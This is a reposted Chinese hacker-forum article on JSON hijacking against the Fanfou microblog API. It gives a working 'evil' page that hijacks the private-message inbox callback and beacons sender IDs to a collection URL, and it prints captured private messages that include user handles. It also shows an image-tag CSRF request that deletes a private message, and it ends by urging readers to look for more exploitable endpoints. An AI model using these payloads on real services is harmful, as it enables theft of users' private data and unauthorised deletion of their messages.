JSON Hijacking的利用

来源:互联网 发布:邻座的怪同学 知乎 编辑:程序博客网 时间:2024/03/29 09:02

from:http://www.7747.net/Article/200812/30705.html

 

 

JSON Hijacking有什么作用,正如黑哥所说,可以CSRF得到用户隐私数据:)。
原理最后介绍,先来看个攻击例子,拿饭否来做个实验。首先我们看这:<a href="http://help.fanfou.com/api.html" target="_blank">http://help.fanfou.com/api.html</a>。饭否的API。其中:
显示用户收到的私信
<b>路径:</b> http://api.fanfou.com/private_messages/inbox.[json|xml]
<b>参数:</b>
[(可选) - 私信数,范围 1-20,默认为 20。
示例: http://api.fanfou.com/private_messages/inbox.xml?count=10
(可选) - JavaScript 函数名,使用 JSON 格式时可用,将 JSON 对象作为参数直接调用。
示例: http://api.fanfou.com/private_messages/inbox.xml?callback=getStatuses
我们使用JSON格式的返回数据,并且callback函数可以自定义。然后我们自定义一个evil页面:
<script>
function getStatuses(o){
var i=0;
var data = '';
for(i; i<3; i++){
   //alert(o[i].text);
   data += o[i].sender_id
}
alert(data);
new Image().src="http://127.0.0.1/JSONHiJack.asp?hi="+escape(data);
}
</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=getStatuses&count=3></script>


当登录饭否的用户访问这个evil页面时,他的私信隐私将暴露无疑。第一个<script>标签内的脚本是我们自定义的HiJacking函数,第二个<script>标签加载远程JS。数据如下:

getStatuses([{"id":585904,"text":"最近怎么没声了?","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat May 31 05:00:01 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"},{"id":444619,"text":"'';!--/"<XSS>=&{()}","sender_id":"xssis","recipient_id":"ycosxhack","created_at":"Fri Apr 11 16:07:19 +0000 2008","sender_screen_name":"xssis","recipient_screen_name":"余弦"},{"id":351757,"text":"嘎~加你好友了~","sender_id":"Salina_Wu","recipient_id":"ycosxhack","created_at":"Sat Mar 01 03:27:22 +0000 2008","sender_screen_name":"LOLO","recipient_screen_name":"余弦"}])

由于getStatuses函数被我们预先劫持而定义,于是第二个<script>标签内的远程JS文件就会执行这个getStatuses函数,参数就是上面这个JSON数据。

这是一个CSRF过程。然而饭否API所带来的安全威胁就不仅仅是JSON Hijacking的利用了。大家仔细阅读它的API文档。看看是否还有其他可利用的地方?比如:
<img src=http://api.fanfou.com/private_messages/destroy.json?callback=getStatuses&id=246333 />
呵呵,这API真是个好东西。不仅仅饭否,其他类似的开放API的服务也会存在这样的威胁。

摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/200812/30705.html

原创粉丝点击